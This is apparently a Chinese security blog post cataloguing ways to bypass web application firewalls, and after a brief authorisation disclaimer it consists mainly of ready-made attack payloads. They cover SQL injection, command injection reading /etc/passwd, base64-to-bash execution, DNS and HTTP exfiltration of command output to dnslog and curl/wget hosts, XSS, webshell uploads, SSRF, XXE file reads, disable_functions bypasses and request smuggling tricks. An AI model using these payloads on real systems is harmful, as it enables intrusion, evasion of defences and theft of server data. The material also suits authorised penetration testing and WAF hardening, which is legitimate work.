WAF 绕过

WAF 绕过

概述

Web 应用防火墙(WAF,Web Application Firewall)是一种专门用于拦截网站攻击的安全设备,通常部署在 Web 服务器前端,用于检测和阻止恶意请求。WAF 基于黑名单(语义分析)或规则集进行攻击行为拦截,但并非无懈可击。

注意:WAF 绕过并不等同于发现漏洞。成功绕过 WAF 仅意味着绕过了其检测机制,实际漏洞利用仍需进一步验证。在实际操作中,需遵守法律法规,仅在授权范围内进行安全测试。

SQL 注入绕过 WAF

SQL 注入是常见的 Web 攻击方式,WAF 通常通过正则表达式匹配 SQL 关键字(如 SELECTUNION)或特定模式(如单引号 ')来拦截恶意请求。以下是针对 SQL 注入的常见 WAF 绕过技术:

大小写绕过

原理:MySQL 数据库对 SQL 语句大小写不敏感(如 SELECTselectSelECt 等均等效),但部分 WAF 的正则表达式可能未正确处理大小写。

示例

?id=1' UNION SELECT 1,2,3 --+
?id=1' UnIoN SeLeCt 1,2,3 --+

局限性

  • 现代 WAF 通常使用正则表达式的 i (ignore) 修饰符(忽略大小写),如 preg_match('/select/i', $input),因此单独使用大小写绕过的成功率较低。

双写绕过

原理:部分 WAF 通过字符串替换(如将 or 替换为空)来阻止恶意输入。如果输入重复字符(如 oorr),替换后仍可能保留有效字符(如 or)。

示例

?id=1' oorr 1=1 --+
  • WAF 规则:$input = str_replace("or", "", $input);
  • 输入 oorr 被替换后结果为 or,从而绕过检测。

局限性

  • 仅适用于 WAF 使用简单字符串替换的场景。
  • 如果 WAF 使用正则表达式匹配,效果可能不佳。

等价替换 🌟

原理:SQL 语句中的某些字符或关键字可以用等价符号或函数替代,从而绕过 WAF 的黑名单规则。

空格替换

MySQL 支持多种字符替代空格,常见的有:

  • %20:URL 编码的空格(ASCII 32)。
  • %09:水平制表符(Tab,ASCII 9)。
  • %0a:换行符(Line Feed,ASCII 10)。🌟
  • %0b:垂直制表符(Vertical Tab,ASCII 11)。🌟
  • %0c:换页符(Form Feed,ASCII 12)。
  • %0d:回车符(Carriage Return,ASCII 13)。
  • %a0:不换行空格(Non-breaking Space)。🌟
  • +:在 URL 中表示空格,与 %20 的效果相同。
  • /**/:SQL 块注释,注释内的内容会被忽略。🌟

示例

?id=1'/**/UNION/**/SELECT/**/1,2,3--+
?id=1'%0aUNION%0aSELECT%0a1,2,3--+

运算符替换

常见运算符的等价替代:

  • or||
  • and&&
  • =LIKE>< 🌟
  • !=NOT LIKE

示例

?id=1' || 1=1 --+
?id=1' %26%26 1 LIKE 1 --+
1' %26%26 1<1 --+
1' %26%26 1>1 --+

函数替换

部分数据库函数可互换使用:

  • schema_namedatabase()
  • substr()substring()left()mid()
  • order by → 使用 union selectinto 替代排序测试。

示例

?id=1' UNION SELECT 1,substring(user(),1,1),3 --+
?id=-1' INTO @a,@b,@c --+
		# INTO 是 SQL 中的一部分,它用来将查询结果存储到用户定义的变量中。
		# 在 MySQL 中,@ 后面跟的变量表示一个会话级的用户变量。
		# @1,@2,@3 是三个用户定义的会话变量,这些变量用于存储查询结果中的特定字段。
		# 例如可以将查询结果的某些列(如用户名、密码等)存储到这些变量中。

逗号替换

WAF 可能拦截逗号 ,,可用 OFFSETFROM ... FOR ... 替代:

  • LIMIT 1,1LIMIT 1 OFFSET 1
  • MID(user(),1,1)MID(user() FROM 1 FOR 1)

示例

MID(user() FROM 1 FOR 1)='r'

编码绕过

原理:通过对 SQL 语句中的关键字或值进行编码(如 HEX、Unicode、URL 编码等),绕过 WAF 的正则匹配。

HEX 编码

将字符串值转换为十六进制格式,仅适用于值(如表名、字段值)。

示例

?id=-1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
  • 0x7365637572697479security 的 HEX 编码。

Unicode 编码

将字符转换为 Unicode 格式(如 \u0027 表示单引号 ')。

示例

?id=1\u0027 UNION SELECT 1,2,3 --+
  • 常见 Unicode 编码:

    • '\u0027
    • ;\u003B
    • SELECT\u0053\u0045\u004C\u0045\u0054
    • 普通空格 → \u0020
    • 不换行空格 → \u00A0
    • 制表符 → \u0009

局限性

  • 并非所有 SQL 注入网站都支持 Unicode 编码。
  • WAF 可能对 Unicode 进行解码检测。

URL 编码

将字符转换为 URL 编码格式(如 %27 表示 ')。

示例

?id=1%27 UNION%20SELECT%201,2,3 --+

注释符绕过 🌟

原理:SQL 支持多种注释语法,可用于分隔关键字或绕过 WAF 检测。

  • 行注释:--#
  • 块注释:/**/ 可以替代空格
  • 条件注释:/*!50000UNION*/(只会在 MySQL 5 及以上版本执行 UNION
  • 条件注释:/*!40101 UNION*/(只会在 MySQL 4.1.1 及以上版本执行 UNION

示例

?id=1'/*!50000UNION*//*abc*/SELECT/**/1,2,3--+

load_file DNSlog 外带

利用 load_file 将查询结果发送到外部 DNS 服务器(仅 Windows 环境下 secure_file_priv="" 时可用)。

示例

?id=1' AND load_file(concat('////',hex(database()),'.d9bba723.log.dnslog.sbs/r.txt')) --+

SQLMap Tamper 脚本 🌟

原理:sqlmap 提供 Tamper 脚本,用于自动修改 payload 以绕过 WAF。

常用 Tamper 脚本

  • space2comment:将空格替换为 /**/
  • symboliclogical:替换逻辑运算符(如 AND&&)。
  • equaltolike:将 = 替换为 LIKE

调用方式

python sqlmap.py -u "http:/url?key=value" --tamper space2comment -v 3

注意

  • 过多使用 Tamper 脚本可能导致 payload 复杂化,降低检测效率。
  • 针对无 WAF 的目标,过度修改可能适得其反。

命令执行绕过 WAF

命令执行漏洞允许攻击者在服务器上执行系统命令,WAF 通常通过匹配敏感命令(如 catwhoami)或特殊字符(如 |&)进行拦截。以下是命令执行的绕过技术:

等价命令替换

原理:使用功能相似的命令替代被拦截的命令。

示例

  • 查看文件内容的命令:

    • catmoreheadtailtac
  • 执行命令:

    cat /etc/passwd
    tac /etc/passwd
    

命令拼接

原理:通过 Shell 变量或拼接将敏感字符分隔,绕过 WAF 检测。

示例

a=c;b=at;c=/etc/passwd;$a$b $c
a=c;b=at;c=/etc/pass;d=w;e=d;$a$b $c$d$e

通配符替换

原理:使用通配符(如 *)匹配文件名,绕过精确匹配。

示例

cat /etc/pass*
tac /fl*

引号与反斜杠

原理:通过添加引号或反斜杠混淆 WAF 的正则匹配。

示例

c""a''t /etc/p''ass""wd
c\at /et\c/pa\ssw\d

空字符与脚本参数

原理:使用不存在的变量(如 $xxx)或脚本参数($@$*,它们都表示脚本的所有参数,默认情况下都为空)插入空字符。

示例

ca${wfqegrht}t /e${eghdrft}tc/pas${feqgwr}swd
c$@$*$*$*$*at /et$*c/pas$*s$*wd

空格替换

原理:使用 ${IFS}(Linux 内部字段分隔符)或输入重定向符替代空格。

示例

cat${IFS}/etc/passwd
cat</etc/passwd

{} 与系统变量

原理{} 可以用于包裹命令,或使用系统变量。

示例

{cat,/etc/passwd}
ABC=$'\x20/etc/passwd';cat$ABC

base64 编码 🌟

原理:将输入的命令通过 base64 编码从而绕过 WAF。

示例

cat /etc/passwd ==base64==> Y2F0IC9ldGMvcGFzc3dk
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

反引号执行

原理:反引号包裹的内容也可以当作命令执行。

示例

`echo Y2F0IC9ldGMvcGFzc3dk | base64 -d`

数据外带 🌟

DNS log 外带

原理:利用 pingnslookup 等命令,借助 DNS log 获取信息。

示例

ping -C 1 `whoami`.kc33v9.dnslog.cn
ping -c 1 `whoami|base64`.kc33v9.dnslog.cn
ping -c 1 `id|cut -c1-5|base64`.kc33v9.dnslog.cn
ping -c 1 `head -n 1 /etc/passwd|base64`.kc33v9.dnslog.cn
ping -c 1 `head -c 6 /etc/passwd|base64`.kc33v9.dnslog.cn

HTTP 外带

原理:利用 wgetcurl 等命令,借助 HTTP 请求信息获取相关信息。

示例

curl http://URL/`whoami`
wget http://URL/`id|base64`

XSS 绕过 WAF

XSS payload 推荐:

大小写绕过

原理:部分 WAF 的正则表达式可能未正确处理大小写。

示例

<iMg sRc=aaa onErRor="alert(1)"/>

注意:大小写只能在 HTML 中使用,JavaScript 是大小写敏感的

引号替换

原理:如果 WAF 过滤了引号,可以用 / 代替。

示例

<iMg sRc=aaa onerRor="alert(/aaa/)"/>

空格替换

原理:如果 WAF 过滤了空格,可以用 / 代替。

示例

<iMg/sRc='aaa'/onerRor="alert(/aaa/)"/>

文件上传绕过 WAF

文件上传漏洞允许攻击者上传恶意文件(如 WebShell),WAF 通常通过检查文件扩展名、内容类型(MIME)或文件内容进行拦截。

前端过滤绕过

原理:前端 JavaScript 可能限制文件类型,攻击者可通过禁用 JS 或使用 Burp Suite 修改请求包绕过。

示例

  • 使用浏览器开发者工具禁用 JavaScript。
  • 使用 Burp Suite 拦截上传请求,修改文件扩展名或内容。

MIME 类型绕过

原理:服务器可能仅检查 MIME 类型(如 image/png),攻击者可伪造 MIME 类型。

示例

  • 上传文件时将 Content-Type 修改为 image/jpeg,但文件内容为 PHP 代码。

特殊后缀与解析漏洞

原理:某些服务器支持非标准扩展名(如 .php3.phtml)或存在解析漏洞。

示例

  • 上传文件名为 shell.php3shell.phtml
  • 利用 Apache 解析漏洞(如 .htaccess 配合文件包含)。

图片马与文件包含

原理:在图片文件中嵌入 PHP 代码,结合文件包含漏洞执行代码。

示例

copy xxx.png/b + xxxx.php/a shell.jpg
  • 上传 shell.jpg,通过文件包含漏洞(如 ?page=shell.jpg)执行代码。

注意:有的服务器对上传图片进行压缩、美化、加水印或处理,但是压缩前和压缩后,总会有没有变化的地方,可以在不会变化的区域嵌入 WebShell。

00 截断

原理:在 PHP 版本 < 5.3,且 magic_quotes_gpc=OFF 时,%00 可以截断后续内容。

示例:例如当抓包的时候将原本的路径 ../upload/ 改为 ../upload/1.php%00,而在 PHP 5.2 认为 %00 是截断符,后面的内容会被废弃,所以文件最终保存为了 ../upload/1.php

条件竞争

原理:在文件上传和删除之间快速执行请求,利用服务器处理延迟执行恶意文件。

示例

  1. 上传恶意文件(如 shell.php)。
  2. 同时发送请求访问文件,抢在 WAF 删除之前执行。

SSRF 绕过 WAF

服务器端请求伪造(SSRF)允许攻击者通过服务器发起请求访问内部资源,WAF 通常通过限制域名或 IP 地址(如 127.0.0.1)进行拦截。

@ 绕过

原理:使用 @ 混淆 URL 解析。

示例

http://www.baidu.com@127.0.0.1
  • 解析为 http://127.0.0.1

Pv6 绕过

原理:使用 IPv6 地址(如 [::1])替代 IPv4 地址。

示例

http://[::1]
http://[::ffff:127.0.0.1]

短链接与 302 跳转

原理:使用短链接服务生成跳转到内部地址的链接,或通过自建服务器返回 302 跳转。

示例

  • 短链接:https://reurl.cc/XZYk70 跳转到 https://www.baidu.com

  • 在攻击机编写:

    <?php
      header("Location: file:///etc/passwd");  
    ?>
    

局限性

  • 许多 SSRF 漏洞不支持 302 跳转。
  • 短链接平台可能不支持非域名的短链接,例如不支持 http://127.0.0.1

域名解析

原理:将域名解析到内部 IP(如 127.0.0.1),绕过 WAF 的黑名单。

示例

  • 购买自定义域名并解析到内部 IP。

可以代替 127.0.0.1 的域名devd.iolocaltest.mewifi.aliyun.comecd.tencent.com

XXE 绕过 WAF

XML 外部实体注入(XXE)允许攻击者通过 XML 解析读取服务器文件或发起请求,WAF 通常通过检测 XML 实体或敏感关键字拦截。

HTML 实体编码(双重实体编码)

原理:对 XML 实体进行 HTML 实体编码(如 &&amp;),绕过 WAF 检测。

示例

  • 编码之前的 payload:
 <?xml version="1.0" encoding="utf-8" ?>
 <!DOCTYPE note [
 	<!ENTITY a SYSTEM "file:///etc/passwd">
 ]>
 <user>
 	<username>&a;</username>
 	<password>123</password>
 </user>
  • 对 payload 进行改造(去头、空格和回车):
<!ENTITY a SYSTEM "file:///etc/passwd">]><user><username>&a;</username><password>123</password></user>
  • 对改造后的 payload 进行 HTML 实体编码。
  • 将头等加回去,构造新的 payload。

注意:部分 XXE 漏洞不支持,部分 PHP 版本也不支持。

UTF-16 编码

原理:XML 文档不仅可以使用 UTF-8,也可以支持 UTF-16/UTF-32,将 XML 文档编码为 UTF-16,绕过仅检测 UTF-8 的 WAF。

示例

  • 将 XML 转换为 UTF-16 格式发送。

局限性

  • 服务器和 WAF 可能不支持 UTF-16。

disable_function 绕过

PHP 的 disable_functions 配置用于禁用危险函数,但存在多种绕过方法。

推荐靶场:bypass_disable_functions

等价函数替代

原理:在 PHP 中,systemexecshell_execpopenpassthru 可以相互替代。

注意:可以从 phpinfo 信息泄漏中查看那些命令被禁。

LD_PRELOAD

原理

  • PHP 启动时,会根据配置文件(如 php.ini)加载一系列的动态链接库。在运行过程中,PHP 会检查并执行其中的函数(如文件操作、命令执行等),这些函数在调用时可能会被系统的动态库(如 C 库)提供。
  • LD_PRELOAD 是 Linux 系统的一个环境变量,它允许用户在程序运行前优先加载指定的动态连接库(.so 文件),通过 LD_PRELOAD,攻击者可以覆盖 PHP 禁用的函数,或者替换系统调用,达到绕过 disable_functions 限制的目的。

示例

  • 利用蚁剑的 "绕过 disable_functions" 插件。
  • 注入 .so 文件。
  • 并访问注入的相关文件从而获取到 Shell。

截图示例image-20250731210111318

权限绕过

Shiro 框架的权限绕过

  • 路径后缀绕过:

    • /admin => /admin/ (添加斜杠)
    • /admin => /;/admin (添加分号)

Spring Security 的权限绕过

  • 路径混淆技术:

    • /admin => /admin/ (添加斜杠)
    • /admin => /admin? (添加问号)
    • /admin => /admin. (添加点号)
    • /admin => /admin/%0A (URL 编码换行符)

通用绕过思路 🌟

以下是一些通用的 WAF 绕过思路,适用于多种场景:

%00 截断

原理:在 C 语言实现的 WAF 中,使用 string 等数据结构存储用户请求参数,那么在解码后,%00(C 中 %00 代表 NULL 字符)可能导致字符串截断,导致后续内容不被检测。

示例

?id=%001' ORDER BY 9 --+

参数污染

原理:发送多个同名参数,WAF 可能仅检测第一个参数,而服务器处理最后一个参数。

示例

?id=abc&id=1' order by 9 --+
  • WAF 检测了 id=abc,没有继续判断同名参数 id=1' ORDER BY 9 --+,而服务器处理 id=1' ORDER BY 9 --+

注意:在某些情况下,Web 应用可能会无法正确处理这种重复的参数。不同的应用程序可能会按以下方式处理:

  • 最后一个参数覆盖前一个参数:应用程序可能仅使用请求中最后出现的参数值 。
  • 多个参数合并:某些 Web 应用可能会将多个相同名称的参数合并成一个值,导致未预料到的行为。

不同的 Web 服务器在处理 HTTP 参数时的行为差异可能会影响 HTTP 参数污染攻击的效果,对于上面的例子,apache、iis、tomcat、nginx 默认情况下均保留 id=1'order by 9 --+ 而忽略 id=abc

参数污染的其他形式:在 asp / asp.net 环境中,参数值中的 % 会被当作空。

image-20250731211632029

缓冲区溢出(脏数据)

原理:通过发送大量参数或超长数据,使得参数数量或参数值大小超过 WAF 的检测范围。

示例

  • 参数数量

    • 部分 WAF 有检测参数上限,如 NGINX 和 Lua 脚本中,通常会存在一些默认的限制,例如请求头的最大大小、参数的最大数量(100 个)。
    • 即,使用 Lua 写的所有 WAF 都有 通用的绕过方案,即使得参数 > 100 个,第 101 个参数将不会经过 WAF。
  • 参数值大小

    • 使参数值大小超过 WAF 的检测范围,从而实现绕过。
    • 一般云 waf 都有单次检测上限。
    • 因为 GET 请求有长度限制,所有这种绕过方法一般是 POST 请求。
    uname=a'/*中间有好多好多的无效字符,例如有好多的字母 a */order by 9#
    

分块传输

原理:HTTP1.1 引入了分块传输的方式,使用 HTTP 分块传输编码(Transfer-Encoding: chunked)发送请求,绕过 WAF 对完整请求的检测。

示例

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

2;8okhWK0ApA4R6H9
q=
2;UkFAfjWe
%7
1;4Qxiwk8Sy394COtyyilNX9x
B
1;22uS1TLCK2PNIeJ
%
1;EgbCDd
2
1;vmEHar21uVqHWA8JgxNylf7m8
2
1;1gHGKe77U2YpL9GEFD0BKJH
7
1;yEDS5Hne
D
0

工具:BurpSuite 插件——chunked-coding-converter

WAF 白名单绕过

原理:利用 WAF 的白名单规则(如有些特定目录或文件扩展名是白名单)绕过检测。

示例

假设 WAF 白名单为 .js.png.css 文件

http://127.0.0.1:81/Less-1/index.php/1.png?id=1' ORDER BY 9 --+
http://127.0.0.1:81/Less-1/index.php/1.js?id=1' ORDER BY 9 --+

HTTP 头绕过

原理:通过修改 HTTP 头(如 X-Forwarded-For)伪造客户端 IP 或请求来源,绕过 WAF 的 IP 黑名单。

常见头部

  • 🌟X-Forwarded-For:最常见的头部,用于标识客户端的真实 IP 地址,常用在代理或负载均衡场景中绕过 WAF 封禁。
  • Forwarded:用于传递代理链信息,包含客户端IP和协议等信息,通常用于多层代理的环境。
  • X-Forwarded-Proto:用于标识请求的协议(如 HTTP 或 HTTPS),特别是有代理或负载均衡时。
  • Forwarded-For:一般是 X-Forwarded-For 的替代品,用于传递客户端的原始 IP 地址。
  • Forwarded-For:另一种格式的 X-Forwarded-For,包含客户端 IP 地址信息。
  • X-Requested-With:用于标识请求的来源(如 AJAX 请求),通常是客户端发送的 JavaScript 请求中的头部。
  • X-Forwarded-Host:用于传递请求的原始 Host 信息,标识客户端发送请求的目标主机名。
  • 🌟X-Remote-IP:用来标识客户端的真实 IP 地址。
  • X-remote-addr:另一个类似 X-Remote-IP 的头部,用于传递客户端的真实 IP 地址。
  • True-Client-IP:某些 CDN 或代理(如 Cloudflare)使用的头部,标识真实的客户端 IP。
  • X-Client-IP:用于传递客户端的真实 IP 地址,适用于某些 WAF 或代理环境。
  • 🌟Client-IP:用于传递客户端的真实 IP 地址,常见于 Nginx 或某些代理服务器。
  • X-Real-IP:由 Nginx 或类似代理使用,标识客户端的真实 IP 地址。
  • Ali-CDN-Real-IP:阿里云 CDN 使用的头部,用于标识真实的客户端 IP。
  • CDN-Src-IP:CDN 服务(如 Cloudflare)传递的客户端 IP 地址。
  • Cdn-Real-Ip:另一个用于标识客户端真实IP 地址的 CDN 请求头,常见于 Cloudflare和其他CDN.
  • CF-Connecting-IP:Cloudflare 专用的头部,用于标识客户端的真实 IP 地址。
  • X-Cluster-Client-IP:用于分布式系统的头部,标识客户端的真实 IP。
  • WL-Proxy-Client-IP:由 WebLogic 代理服务器使用的头部,标识客户端的真实 IP。
  • Proxy-Client-IP:一些代理服务器(如 WebLogic)使用的头部,传递客户端的真实 IP。
  • Fastly-Client-Ip:Fastly CDN 使用的头部,用于传递客户端的真实 IP。
  • True-Client-ip:重复的 True-Client-IP,某些场景下可能作为冗余使用。
  • X-Originating-IP:一些代理或负载均衡器使用的头部,标识原始客户端的 IP 地址。
  • X-Host:标识请求的原始主机名,某些场景下可用于绕过 WAF。
  • X-Custom-IP-Authorization:一个自定义的头部,用于某些特定授权场景,可能与 IP 验证相关。

示例

X-Forwarded-For: 127.0.0.1

工具:Burp Suite 插件 burpFakeIP

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇